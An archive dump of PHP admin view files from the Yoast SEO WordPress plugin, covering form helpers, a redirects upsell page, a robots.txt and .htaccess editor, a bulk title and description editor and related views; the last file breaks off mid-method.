wordpress-seo/admin/views/class-yoast-input-select.php000064400000005645147510273100017204 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Class for generating a html select.
 */
class Yoast_Input_Select {

	/**
	 * The id attribute value.
	 *
	 * @var string
	 */
	private $select_id;

	/**
	 * The name attribute value.
	 *
	 * @var string
	 */
	private $select_name;

	/**
	 * Additional select attributes.
	 *
	 * @var array
	 */
	private $select_attributes = [];

	/**
	 * Array with the options to parse.
	 *
	 * @var array
	 */
	private $select_options;

	/**
	 * The current selected option.
	 *
	 * @var string
	 */
	private $selected_option;

	/**
	 * Constructor.
	 *
	 * @param string $select_id       ID for the select.
	 * @param string $select_name     Name for the select.
	 * @param array  $select_options  Array with the options to parse.
	 * @param string $selected_option The current selected option.
	 */
	public function __construct( $select_id, $select_name, array $select_options, $selected_option ) {
		$this->select_id       = $select_id;
		$this->select_name     = $select_name;
		$this->select_options  = $select_options;
		$this->selected_option = $selected_option;
	}

	/**
	 * Print the rendered view.
	 *
	 * @return void
	 */
	public function output_html() {
		// Extract it, because we want each value accessible via a variable instead of accessing it as an array.
		extract( $this->get_select_values() );

		require WPSEO_PATH . 'admin/views/form/select.php';
	}

	/**
	 * Return the rendered view.
	 *
	 * @return string
	 */
	public function get_html() {
		ob_start();

		$this->output_html();

		$rendered_output = ob_get_contents();
		ob_end_clean();

		return $rendered_output;
	}

	/**
	 * Add an attribute to the attributes property.
	 *
	 * @param string $attribute The name of the attribute to add.
	 * @param string $value     The value of the attribute.
	 *
	 * @return void
	 */
	public function add_attribute( $attribute, $value ) {
		$this->select_attributes[ $attribute ] = $value;
	}

	/**
	 * Return the set fields for the select.
	 *
	 * @return array
	 */
	private function get_select_values() {
		return [
			'id'         => $this->select_id,
			'name'       => $this->select_name,
			'attributes' => $this->get_attributes(),
			'options'    => $this->select_options,
			'selected'   => $this->selected_option,
		];
	}

	/**
	 * Return the attribute string, when there are attributes set.
	 *
	 * @return string
	 */
	private function get_attributes() {
		$attributes = $this->select_attributes;

		if ( ! empty( $attributes ) ) {
			array_walk( $attributes, [ $this, 'parse_attribute' ] );

			return implode( ' ', $attributes ) . ' ';
		}

		return '';
	}

	/**
	 * Get an attribute from the attributes.
	 *
	 * @param string $value     The value of the attribute.
	 * @param string $attribute The attribute to look for.
	 *
	 * @return void
	 */
	private function parse_attribute( &$value, $attribute ) {
		$value = sprintf( '%s="%s"', sanitize_key( $attribute ), esc_attr( $value ) );
	}
}
wordpress-seo/admin/views/redirects.php000064400000020712147510273100014304 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 * @since   19.0
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

?>
<div class="wrap yoast wpseo-admin-page page-wpseo_redirects">
	<h1 id="wpseo-title"><?php echo esc_html( get_admin_page_title() ); ?></h1>
	<div class="wpseo_content_wrapper" style="position: relative;">
		<div style="position: absolute;top: 0;bottom: 0;left: 0;right: 0;z-index: 100; display: flex;justify-content: center;align-items: center;background: radial-gradient(#ffffffcf 20%, #ffffff00 50%);">
			<a class="yoast-button-upsell" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2" href="<?php echo esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/redirect-manager-upsell' ) ); ?>" target="_blank">
				<?php
				echo esc_html__( 'Unlock with Premium', 'wordpress-seo' )
					// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
					. WPSEO_Admin_Utils::get_new_tab_message();
				?>
				<span aria-hidden="true" class="yoast-button-upsell__caret"></span></a>
		</div>
		<div class="wpseo_content_cell" id="wpseo_content_top" style="opacity: 0.5;">
			<h2 class="nav-tab-wrapper" id="wpseo-tabs">
				<a class="nav-tab nav-tab-active" id="tab-url-tab" href="#" tabindex="-1">
					<?php
					esc_html_e( 'Redirects', 'wordpress-seo' )
					?>
				</a>
				<a class="nav-tab" id="tab-url-tab" href="" tabindex="-1">
					<?php
					esc_html_e( 'Regex Redirects', 'wordpress-seo' )
					?>
				</a>
				<a class="nav-tab" id="tab-url-tab" href="#" tabindex="-1">
					<?php
					esc_html_e( 'Settings', 'wordpress-seo' )
					?>
					</a>
			</h2>

			<div id="table-plain" class="tab-url redirect-table-tab">
				<h2>
					<?php
					esc_html_e( 'Plain redirects', 'wordpress-seo' )
					?>
				</h2>
				<form class="wpseo-new-redirect-form" method="post">
					<div class="wpseo_redirect_form">
						<div class="redirect_form_row" id="row-wpseo_redirects_type">
							<label class="textinput" for="wpseo_redirects_type">
								<span class="title">
									<?php
									esc_html_e( 'Type', 'wordpress-seo' )
									?>
								</span>
							</label>
							<select name="wpseo_redirects_type" id="wpseo_redirects_type" class="select select2-hidden-accessible" data-select2-id="wpseo_redirects_type" tabindex="-1" aria-hidden="true">
								<option value="301" data-select2-id="2">
									<?php
									esc_html_e( '301 Moved Permanently', 'wordpress-seo' )
									?>
								</option>
							</select>
							<span class="select2 select2-container select2-container--default" dir="ltr" data-select2-id="1" style="width: 400px;">
								<span class="selection">
									<span class="select2-selection select2-selection--single" role="combobox" aria-haspopup="true" aria-expanded="false" tabindex="-1" aria-disabled="false" aria-labelledby="select2-wpseo_redirects_type-container">
										<span class="select2-selection__rendered" id="select2-wpseo_redirects_type-container" role="textbox" aria-readonly="true" title="301 Moved Permanently">
											<?php
											esc_html_e( '301 Moved Permanently', 'wordpress-seo' )
											?>
										</span>
										<span class="select2-selection__arrow" role="presentation">
											<b role="presentation"></b>
										</span>
									</span>
								</span>
								<span class="dropdown-wrapper" aria-hidden="true"></span>
							</span>
						</div>

						<p class="label desc description wpseo-redirect-clear">
							<?php
							printf(
								/* translators: 1: opens a link. 2: closes the link. */
								esc_html__( 'The redirect type is the HTTP response code sent to the browser telling the browser what type of redirect is served. %1$sLearn more about redirect types%2$s.', 'wordpress-seo' ),
								'<a href="#" target="_blank">',
								'</a>'
							);
							?>
						<div class="redirect_form_row" id="row-wpseo_redirects_origin">
							<label class="textinput" for="wpseo_redirects_origin">
								<span class="title">
									<?php
									esc_html_e( 'Old URL', 'wordpress-seo' )
									?>
								</span>
							</label>
							<input type="text" class="textinput" name="wpseo_redirects_origin" id="wpseo_redirects_origin" value="" tabindex="-1">
						</div>
						<br class="clear">

						<div class="redirect_form_row wpseo_redirect_target_holder" id="row-wpseo_redirects_target">
							<label class="textinput" for="wpseo_redirects_target">
								<span class="title">
									<?php
									esc_html_e( 'URL', 'wordpress-seo' )
									?>
								</span>
							</label>
							<input type="text" class="textinput" name="wpseo_redirects_target" id="wpseo_redirects_target" value="" tabindex="-1">
						</div>
						<br class="clear">

						<button type="button" class="button button-primary" tabindex="-1">
							<?php
							esc_html_e( 'Add Redirect', 'wordpress-seo' )
							?>
						</button>
					</div>
				</form>
				<p class="desc">&nbsp;</p>
				<form id="plain" class="wpseo-redirects-table-form" method="post" action="">
					<input type="hidden" class="wpseo_redirects_ajax_nonce" name="wpseo_redirects_ajax_nonce" value="6ccb86df42">
					<input type="hidden" id="_wpnonce" name="_wpnonce" value="4b02cca185">
					<input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=wpseo_redirects">	<div class="tablenav top">

					<div class="alignleft actions">
						<select name="redirect-type" id="filter-by-redirect" tabindex="-1">
							<option selected="selected" value="0">
								<?php
								esc_html_e( 'All redirect types', 'wordpress-seo' )
								?>
							</option>
						</select>
						<input type="button" name="filter_action" id="post-query-submit" class="button" value="<?php esc_attr_e( 'Filter', 'wordpress-seo' ); ?>" tabindex="-1">
					</div>
						<br class="clear">
					</div>
					<table class="wp-list-table widefat fixed striped table-view-list plain">
						<thead>
							<tr>
								<td id="cb" class="manage-column column-cb check-column">
									<input id="cb-select-all-1" type="checkbox"  tabindex="-1">
								</td>
								<th scope="col" id="type" class="manage-column column-type column-primary sortable desc">
									<a href="#" tabindex="-1">
										<span>
										<?php
										esc_html_e( 'Type', 'wordpress-seo' )
										?>
										</span>
										<span class="sorting-indicator"></span>
									</a>
								</th>
								<th scope="col" id="old" class="manage-column column-old sortable desc">
									<a href="#" tabindex="-1">
										<span>
											<?php
											esc_html_e( 'Old URL', 'wordpress-seo' )
											?>
										</span>
										<span class="sorting-indicator"></span>
									</a>
								</th>
								<th scope="col" id="new" class="manage-column column-new sortable desc">
									<a href="#" tabindex="-1">
										<span>
											<?php
											esc_html_e( 'New URL', 'wordpress-seo' )
											?>
										</span>
										<span class="sorting-indicator"></span>
									</a>
								</th>
							</tr>
						</thead>

						<tbody id="the-list">
							<tr class="no-items">
								<td class="colspanchange" colspan="4">
									<?php
									esc_html_e( 'No items found.', 'wordpress-seo' )
									?>
								</td>
							</tr>
						</tbody>

						<tfoot>
							<tr>
								<td class="manage-column column-cb check-column">
									<input id="cb-select-all-2" type="checkbox" tabindex="-1">
								</td>
								<th scope="col" class="manage-column column-type column-primary sortable desc">
									<a href="#" tabindex="-1">
										<span>
											<?php
											esc_html_e( 'Type', 'wordpress-seo' )
											?>
										</span>
										<span class="sorting-indicator"></span></a>
								</th>
								<th scope="col" class="manage-column column-old sortable desc">
									<a href="#" tabindex="-1">
										<span>
											<?php
											esc_html_e( 'Old URL', 'wordpress-seo' )
											?>
										</span>
										<span class="sorting-indicator"></span>
									</a>
								</th>
								<th scope="col" class="manage-column column-new sortable desc">
									<a href="#" tabindex="-1">
										<span>
											<?php
											esc_html_e( 'New URL', 'wordpress-seo' )
											?>
										</span>
										<span class="sorting-indicator"></span></a>
								</th>
							</tr>
						</tfoot>

					</table>
				</form>
			</div>

			<br class="clear">

		</div><!-- end of div wpseo_content_top --></div><!-- end of div wpseo_content_wrapper -->
</div>
wordpress-seo/admin/views/form/select.php000064400000002115147510273100014537 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 *
 * @uses string $attributes Additional attributes for the select.
 * @uses string $name       Value for the select name attribute.
 * @uses string $id         ID attribute for the select.
 * @uses array  $options    Array with the options to show.
 * @uses string $selected   The current set options.
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

?>
<?php /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $attributes is properly escaped in parse_attribute via get_attributes in class-yoast-input-select.php. */ ?>
<select <?php echo $attributes; ?>name="<?php echo esc_attr( $name ); ?>" id="<?php echo esc_attr( $id ); ?>">
	<?php foreach ( $options as $option_attribute_value => $option_html_value ) : ?>
	<option value="<?php echo esc_attr( $option_attribute_value ); ?>"<?php echo selected( $selected, $option_attribute_value, false ); ?>><?php echo esc_html( $option_html_value ); ?></option>
	<?php endforeach; ?>
</select>
wordpress-seo/admin/views/tool-file-editor.php000064400000015356147510273100015506 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

$yform     = Yoast_Form::get_instance();
$home_path = get_home_path();

if ( ! is_writable( $home_path ) && ! empty( $_SERVER['DOCUMENT_ROOT'] ) ) {
	$home_path = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR;
}

$robots_file    = $home_path . 'robots.txt';
$ht_access_file = $home_path . '.htaccess';

if ( isset( $_POST['create_robots'] ) ) {
	if ( ! current_user_can( 'edit_files' ) ) {
		$die_msg = sprintf(
			/* translators: %s expands to robots.txt. */
			__( 'You cannot create a %s file.', 'wordpress-seo' ),
			'robots.txt'
		);
		die( esc_html( $die_msg ) );
	}

	check_admin_referer( 'wpseo_create_robots' );

	ob_start();
	error_reporting( 0 );
	do_robots();
	$robots_content = ob_get_clean();

	$f = fopen( $robots_file, 'x' );
	fwrite( $f, $robots_content );
}

if ( isset( $_POST['submitrobots'] ) ) {
	if ( ! current_user_can( 'edit_files' ) ) {
		$die_msg = sprintf(
			/* translators: %s expands to robots.txt. */
			__( 'You cannot edit the %s file.', 'wordpress-seo' ),
			'robots.txt'
		);
		die( esc_html( $die_msg ) );
	}

	check_admin_referer( 'wpseo-robotstxt' );

	if ( isset( $_POST['robotsnew'] ) && file_exists( $robots_file ) ) {
		$robotsnew = sanitize_textarea_field( wp_unslash( $_POST['robotsnew'] ) );
		if ( is_writable( $robots_file ) ) {
			$f = fopen( $robots_file, 'w+' );
			fwrite( $f, $robotsnew );
			fclose( $f );
			$msg = sprintf(
				/* translators: %s expands to robots.txt. */
				__( 'Updated %s', 'wordpress-seo' ),
				'robots.txt'
			);
		}
	}
}

if ( isset( $_POST['submithtaccess'] ) ) {
	if ( ! current_user_can( 'edit_files' ) ) {
		$die_msg = sprintf(
			/* translators: %s expands to ".htaccess". */
			__( 'You cannot edit the %s file.', 'wordpress-seo' ),
			'.htaccess'
		);
		die( esc_html( $die_msg ) );
	}

	check_admin_referer( 'wpseo-htaccess' );

	if ( isset( $_POST['htaccessnew'] ) && file_exists( $ht_access_file ) ) {
		$ht_access_new = wp_unslash( $_POST['htaccessnew'] );
		if ( is_writable( $ht_access_file ) ) {
			$f = fopen( $ht_access_file, 'w+' );
			fwrite( $f, $ht_access_new );
			fclose( $f );
		}
	}
}

if ( is_multisite() ) {
	$action_url = network_admin_url( 'admin.php?page=wpseo_files' );
	$yform->admin_header( false, 'wpseo_ms' );
}
else {
	$action_url = admin_url( 'admin.php?page=wpseo_tools&tool=file-editor' );
}

if ( isset( $msg ) && ! empty( $msg ) ) {
	echo '<div id="message" class="notice notice-success"><p>', esc_html( $msg ), '</p></div>';
}

// N.B.: "robots.txt" is a fixed file name and should not be translatable.
echo '<h2>robots.txt</h2>';

if ( ! file_exists( $robots_file ) ) {
	if ( is_writable( $home_path ) ) {
		echo '<form action="', esc_url( $action_url ), '" method="post" id="robotstxtcreateform">';
		wp_nonce_field( 'wpseo_create_robots', '_wpnonce', true, true );
		echo '<p>';
		printf(
			/* translators: %s expands to robots.txt. */
			esc_html__( 'You don\'t have a %s file, create one here:', 'wordpress-seo' ),
			'robots.txt'
		);
		echo '</p>';

		printf(
			'<input type="submit" class="button" name="create_robots" value="%s">',
			sprintf(
				/* translators: %s expands to robots.txt. */
				esc_attr__( 'Create %s file', 'wordpress-seo' ),
				'robots.txt'
			)
		);
		echo '</form>';
	}
	else {
		echo '<p>';
		printf(
			/* translators: %s expands to robots.txt. */
			esc_html__( 'If you had a %s file and it was editable, you could edit it from here.', 'wordpress-seo' ),
			'robots.txt'
		);
		echo '</p>';
	}
}
else {
	$f = fopen( $robots_file, 'r' );

	$content = '';
	if ( filesize( $robots_file ) > 0 ) {
		$content = fread( $f, filesize( $robots_file ) );
	}

	if ( ! is_writable( $robots_file ) ) {
		echo '<p><em>';
		printf(
			/* translators: %s expands to robots.txt. */
			esc_html__( 'If your %s were writable, you could edit it from here.', 'wordpress-seo' ),
			'robots.txt'
		);
		echo '</em></p>';
		echo '<textarea class="large-text code" disabled="disabled" rows="15" name="robotsnew">', esc_textarea( $content ), '</textarea><br/>';
	}
	else {
		echo '<form action="', esc_url( $action_url ), '" method="post" id="robotstxtform">';
		wp_nonce_field( 'wpseo-robotstxt', '_wpnonce', true, true );
		echo '<label for="robotsnew" class="yoast-inline-label">';
		printf(
			/* translators: %s expands to robots.txt. */
			esc_html__( 'Edit the content of your %s:', 'wordpress-seo' ),
			'robots.txt'
		);
		echo '</label>';
		echo '<textarea class="large-text code" rows="15" name="robotsnew" id="robotsnew">', esc_textarea( $content ), '</textarea><br/>';
		printf(
			'<div class="submit"><input class="button" type="submit" name="submitrobots" value="%s" /></div>',
			sprintf(
				/* translators: %s expands to robots.txt. */
				esc_attr__( 'Save changes to %s', 'wordpress-seo' ),
				'robots.txt'
			)
		);
		echo '</form>';
	}
}
if ( ! WPSEO_Utils::is_nginx() ) {

	echo '<h2>';
	printf(
		/* translators: %s expands to ".htaccess". */
		esc_html__( '%s file', 'wordpress-seo' ),
		'.htaccess'
	);
	echo '</h2>';

	if ( file_exists( $ht_access_file ) ) {
		$f = fopen( $ht_access_file, 'r' );

		$contentht = '';
		if ( filesize( $ht_access_file ) > 0 ) {
			$contentht = fread( $f, filesize( $ht_access_file ) );
		}

		if ( ! is_writable( $ht_access_file ) ) {
			echo '<p><em>';
			printf(
				/* translators: %s expands to ".htaccess". */
				esc_html__( 'If your %s were writable, you could edit it from here.', 'wordpress-seo' ),
				'.htaccess'
			);
			echo '</em></p>';
			echo '<textarea class="large-text code" disabled="disabled" rows="15" name="robotsnew">', esc_textarea( $contentht ), '</textarea><br/>';
		}
		else {
			echo '<form action="', esc_url( $action_url ), '" method="post" id="htaccessform">';
			wp_nonce_field( 'wpseo-htaccess', '_wpnonce', true, true );
			echo '<label for="htaccessnew" class="yoast-inline-label">';
			printf(
				/* translators: %s expands to ".htaccess". */
				esc_html__( 'Edit the content of your %s:', 'wordpress-seo' ),
				'.htaccess'
			);
			echo '</label>';
			echo '<textarea class="large-text code" rows="15" name="htaccessnew" id="htaccessnew">', esc_textarea( $contentht ), '</textarea><br/>';
			printf(
				'<div class="submit"><input class="button" type="submit" name="submithtaccess" value="%s" /></div>',
				sprintf(
					/* translators: %s expands to ".htaccess". */
					esc_attr__( 'Save changes to %s', 'wordpress-seo' ),
					'.htaccess'
				)
			);
			echo '</form>';
		}
	}
	else {
		echo '<p>';
		printf(
			/* translators: %s expands to ".htaccess". */
			esc_html__( 'If you had a %s file and it was editable, you could edit it from here.', 'wordpress-seo' ),
			'.htaccess'
		);
		echo '</p>';
	}
}

if ( is_multisite() ) {
	$yform->admin_footer( false );
}
wordpress-seo/admin/views/tool-bulk-editor.php000064400000006206147510273100015516 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 * @since   1.5.0
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

/**
 * Sanitizes the parameters that have been sent.
 *
 * @return array The sanitized fields.
 */
function yoast_free_bulk_sanitize_input_fields() {
	$possible_params = [
		'type',
		'paged',
		'post_type_filter',
		'post_status',
		'order',
		'orderby',
	];

	$input_get = [];
	foreach ( $possible_params as $param_name ) {
		if ( isset( $_GET[ $param_name ] ) ) {
			$input_get[ $param_name ] = sanitize_text_field( wp_unslash( $_GET[ $param_name ] ) );
		}
	}

	return $input_get;
}

$yoast_free_input_fields = yoast_free_bulk_sanitize_input_fields();

// Verifies the nonce.
if ( ! empty( $yoast_free_input_fields ) ) {
	check_admin_referer( 'bulk-editor-table', 'nonce' );
}

// If type is empty, fill it with value of first tab (title).
if ( ! isset( $yoast_free_input_fields['type'] ) ) {
	$yoast_free_input_fields['type'] = 'title';
}

$yoast_bulk_editor_arguments = [
	'input_fields' => $yoast_free_input_fields,
	'nonce'        => wp_create_nonce( 'bulk-editor-table' ),
];

$wpseo_bulk_titles_table      = new WPSEO_Bulk_Title_Editor_List_Table( $yoast_bulk_editor_arguments );
$wpseo_bulk_description_table = new WPSEO_Bulk_Description_List_Table( $yoast_bulk_editor_arguments );

$yoast_free_screen_reader_content = [
	'heading_views'      => __( 'Filter posts list', 'wordpress-seo' ),
	'heading_pagination' => __( 'Posts list navigation', 'wordpress-seo' ),
	'heading_list'       => __( 'Posts list', 'wordpress-seo' ),
];
get_current_screen()->set_screen_reader_content( $yoast_free_screen_reader_content );

if ( ! empty( $_REQUEST['_wp_http_referer'] ) && isset( $_SERVER['REQUEST_URI'] ) ) {
	$request_uri = sanitize_file_name( wp_unslash( $_SERVER['REQUEST_URI'] ) );

	wp_redirect(
		remove_query_arg(
			[ '_wp_http_referer', '_wpnonce' ],
			$request_uri
		)
	);
	exit;
}

/**
 * Renders a bulk editor tab.
 *
 * @param WPSEO_Bulk_List_Table $table The table to render.
 * @param string                $id    The id for the tab.
 *
 * @return void
 */
function wpseo_get_rendered_tab( $table, $id ) {
	?>
	<div id="<?php echo esc_attr( $id ); ?>" class="wpseotab">
		<?php
		$table->show_page();
		?>
	</div>
	<?php
}

?>
<script>
	<?php /* phpcs:ignore WordPress.Security.EscapeOutput -- WPSEO_Utils::format_json_encode is safe. */ ?>
	var wpseoBulkEditorNonce = <?php echo WPSEO_Utils::format_json_encode( wp_create_nonce( 'wpseo-bulk-editor' ) ); ?>;

	// eslint-disable-next-line
	var wpseo_bulk_editor_nonce = wpseoBulkEditorNonce;
</script>

<br/><br/>

<div class="wpseo_table_page">

	<h2 class="nav-tab-wrapper" id="wpseo-tabs">
		<a class="nav-tab" id="title-tab" href="#top#title"><?php esc_html_e( 'Title', 'wordpress-seo' ); ?></a>
		<a class="nav-tab" id="description-tab"
			href="#top#description"><?php esc_html_e( 'Description', 'wordpress-seo' ); ?></a>
	</h2>

	<div class="tabwrapper">
		<?php wpseo_get_rendered_tab( $wpseo_bulk_titles_table, 'title' ); ?>
		<?php wpseo_get_rendered_tab( $wpseo_bulk_description_table, 'description' ); ?>
	</div>
</div>
wordpress-seo/admin/views/user-profile.php000064400000010403147510273100014730 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 *
 * @uses object $user
 */

_deprecated_file( __FILE__, 'Yoast SEO 23.4' );

/* translators: %1$s expands to Yoast SEO */
$wpseo_up_settings_header    = sprintf( __( '%1$s settings', 'wordpress-seo' ), 'Yoast SEO' );
$wpseo_no_index_author_label = sprintf(
	/* translators: %s expands to "this author's archives". */
	__( 'Do not allow search engines to show %s in search results.', 'wordpress-seo' ),
	__( 'this author\'s archives', 'wordpress-seo' )
);
?>

<div class="yoast yoast-settings">

	<h2 id="wordpress-seo"><?php echo esc_html( $wpseo_up_settings_header ); ?></h2>

	<?php if ( ! WPSEO_Options::get( 'disable-author' ) ) : ?>
	<label for="wpseo_author_title"><?php esc_html_e( 'Title to use for Author page', 'wordpress-seo' ); ?></label>
	<input class="yoast-settings__text regular-text" type="text" id="wpseo_author_title" name="wpseo_author_title"
		value="<?php echo esc_attr( get_the_author_meta( 'wpseo_title', $user->ID ) ); ?>"/><br>

	<label for="wpseo_author_metadesc"><?php esc_html_e( 'Meta description to use for Author page', 'wordpress-seo' ); ?></label>
	<textarea rows="5" cols="30" id="wpseo_author_metadesc"
		class="yoast-settings__textarea yoast-settings__textarea--medium"
		name="wpseo_author_metadesc"><?php echo esc_textarea( get_the_author_meta( 'wpseo_metadesc', $user->ID ) ); ?></textarea><br>

	<input class="yoast-settings__checkbox double" type="checkbox" id="wpseo_noindex_author"
		name="wpseo_noindex_author"
		value="on" <?php echo ( get_the_author_meta( 'wpseo_noindex_author', $user->ID ) === 'on' ) ? 'checked' : ''; ?> />
	<label class="yoast-label-strong"
		for="wpseo_noindex_author"><?php echo esc_html( $wpseo_no_index_author_label ); ?></label><br>
	<?php endif; ?>

	<?php if ( WPSEO_Options::get( 'keyword_analysis_active', false ) ) : ?>
		<input class="yoast-settings__checkbox double" type="checkbox" id="wpseo_keyword_analysis_disable"
			name="wpseo_keyword_analysis_disable" aria-describedby="wpseo_keyword_analysis_disable_desc"
			value="on" <?php echo ( get_the_author_meta( 'wpseo_keyword_analysis_disable', $user->ID ) === 'on' ) ? 'checked' : ''; ?> />
		<label class="yoast-label-strong"
			for="wpseo_keyword_analysis_disable"><?php esc_html_e( 'Disable SEO analysis', 'wordpress-seo' ); ?></label>
		<br>
		<p class="description" id="wpseo_keyword_analysis_disable_desc">
			<?php esc_html_e( 'Removes the focus keyphrase section from the metabox and disables all SEO-related suggestions.', 'wordpress-seo' ); ?>
		</p>
	<?php endif; ?>

	<?php if ( WPSEO_Options::get( 'content_analysis_active', false ) ) : ?>
		<input class="yoast-settings__checkbox double" type="checkbox" id="wpseo_content_analysis_disable"
			name="wpseo_content_analysis_disable" aria-describedby="wpseo_content_analysis_disable_desc"
			value="on" <?php echo ( get_the_author_meta( 'wpseo_content_analysis_disable', $user->ID ) === 'on' ) ? 'checked' : ''; ?> />
		<label class="yoast-label-strong"
			for="wpseo_content_analysis_disable"><?php esc_html_e( 'Disable readability analysis', 'wordpress-seo' ); ?></label>
		<br>
		<p class="description" id="wpseo_content_analysis_disable_desc">
			<?php esc_html_e( 'Removes the readability analysis section from the metabox and disables all readability-related suggestions.', 'wordpress-seo' ); ?>
		</p>
	<?php endif; ?>

	<?php if ( WPSEO_Options::get( 'inclusive_language_analysis_active', false ) ) : ?>
		<input class="yoast-settings__checkbox double" type="checkbox" id="wpseo_inclusive_language_analysis_disable"
			name="wpseo_inclusive_language_analysis_disable" aria-describedby="wpseo_inclusive_language_analysis_disable_desc"
			value="on" <?php echo ( get_the_author_meta( 'wpseo_inclusive_language_analysis_disable', $user->ID ) === 'on' ) ? 'checked' : ''; ?> />
		<label class="yoast-label-strong"
			for="wpseo_inclusive_language_analysis_disable"><?php esc_html_e( 'Disable inclusive language analysis', 'wordpress-seo' ); ?></label>
		<br>
		<p class="description" id="wpseo_inclusive_language_analysis_disable_desc">
			<?php esc_html_e( 'Removes the inclusive language analysis section from the metabox and disables all inclusive language-related suggestions.', 'wordpress-seo' ); ?>
		</p>
	<?php endif; ?>

	<?php do_action( 'wpseo_render_user_profile', $user ); ?>
</div>
wordpress-seo/admin/views/interface-yoast-form-element.php000064400000000373147510273100020006 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Generate the HTML for a form element.
 */
interface Yoast_Form_Element {

	/**
	 * Return the HTML for the form element.
	 *
	 * @return string
	 */
	public function get_html();
}
wordpress-seo/admin/views/paper-collapsible.php000064400000006023147510273100015715 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 *
 * @uses    string                 $paper_id                  The ID of the paper.
 * @uses    string                 $paper_id_prefix           The ID prefix of the paper.
 * @uses    bool                   $collapsible               Whether the collapsible should be rendered.
 * @uses    array                  $collapsible_config        Configuration for the collapsible.
 * @uses    string                 $collapsible_header_class  Class for the collapsible header.
 * @uses    string                 $title                     The title.
 * @uses    string                 $title_after               Additional content to render after the title.
 * @uses    string                 $view_file                 Path to the view file.
 * @uses    WPSEO_Admin_Help_Panel $help_text                 The help text.
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

?>
<div
	class="<?php echo esc_attr( 'paper tab-block ' . $class ); ?>"<?php echo ( $paper_id ) ? ' id="' . esc_attr( $paper_id_prefix . $paper_id ) . '"' : ''; ?>>

	<?php
	if ( ! empty( $title ) ) {

		if ( ! empty( $collapsible ) ) {

			$button_id_attr = '';
			if ( ! empty( $paper_id ) ) {
				$button_id_attr = sprintf( ' id="%s"', esc_attr( $paper_id_prefix . $paper_id . '-button' ) );
			}

			printf(
				'<h2 class="%1$s"><button%2$s type="button" class="toggleable-container-trigger" aria-expanded="%3$s">%4$s%5$s <span class="toggleable-container-icon dashicons %6$s" aria-hidden="true"></span></button></h2>',
				esc_attr( 'collapsible-header ' . $collapsible_header_class ),
				// phpcs:ignore WordPress.Security.EscapeOutput -- $button_id_attr is escaped above.
				$button_id_attr,
				esc_attr( $collapsible_config['expanded'] ),
				// phpcs:ignore WordPress.Security.EscapeOutput -- $help_text is an instance of WPSEO_Admin_Help_Panel, which escapes it's own output.
				$help_text->get_button_html(),
				esc_html( $title ) . wp_kses_post( $title_after ),
				wp_kses_post( $collapsible_config['toggle_icon'] )
			);
		}
		else {
			echo '<div class="paper-title"><h2 class="help-button-inline">',
				esc_html( $title ),
				wp_kses_post( $title_after ),
				// phpcs:ignore WordPress.Security.EscapeOutput -- $help_text is an instance of WPSEO_Admin_Help_Panel, which escapes it's own output.
				$help_text->get_button_html(),
				'</h2></div>';
		}
	}
	?>
	<?php

	// phpcs:ignore WordPress.Security.EscapeOutput -- $help_text is an instance of WPSEO_Admin_Help_Panel, which escapes it's own output.
	echo $help_text->get_panel_html();

	$container_id_attr = '';
	if ( ! empty( $paper_id ) ) {
		$container_id_attr = sprintf( ' id="%s"', esc_attr( $paper_id_prefix . $paper_id . '-container' ) );
	}

	printf(
		'<div%1$s class="%2$s">%3$s</div>',
		// phpcs:ignore WordPress.Security.EscapeOutput -- $container_id_attr is escaped above.
		$container_id_attr,
		esc_attr( 'paper-container ' . $collapsible_config['class'] ),
		$content
	);
	?>

</div>
wordpress-seo/admin/views/class-yoast-feature-toggles.php000064400000030470147510273100017657 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

use Yoast\WP\SEO\Helpers\Language_Helper;
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;

/**
 * Class for managing feature toggles.
 */
class Yoast_Feature_Toggles {

	/**
	 * Available feature toggles.
	 *
	 * @var array
	 */
	protected $toggles;

	/**
	 * Instance holder.
	 *
	 * @var self|null
	 */
	protected static $instance = null;

	/**
	 * Gets the main feature toggles manager instance used.
	 *
	 * This essentially works like a Singleton, but for its drawbacks does not restrict
	 * instantiation otherwise.
	 *
	 * @return self Main instance.
	 */
	public static function instance() {
		if ( self::$instance === null ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Gets all available feature toggles.
	 *
	 * @return array List of sorted Yoast_Feature_Toggle instances.
	 */
	public function get_all() {
		if ( $this->toggles === null ) {
			$this->toggles = $this->load_toggles();
		}

		return $this->toggles;
	}

	/**
	 * Loads the available feature toggles.
	 *
	 * Also ensures that the toggles are all Yoast_Feature_Toggle instances and sorted by their order value.
	 *
	 * @return array List of sorted Yoast_Feature_Toggle instances.
	 */
	protected function load_toggles() {
		$xml_sitemap_extra = false;
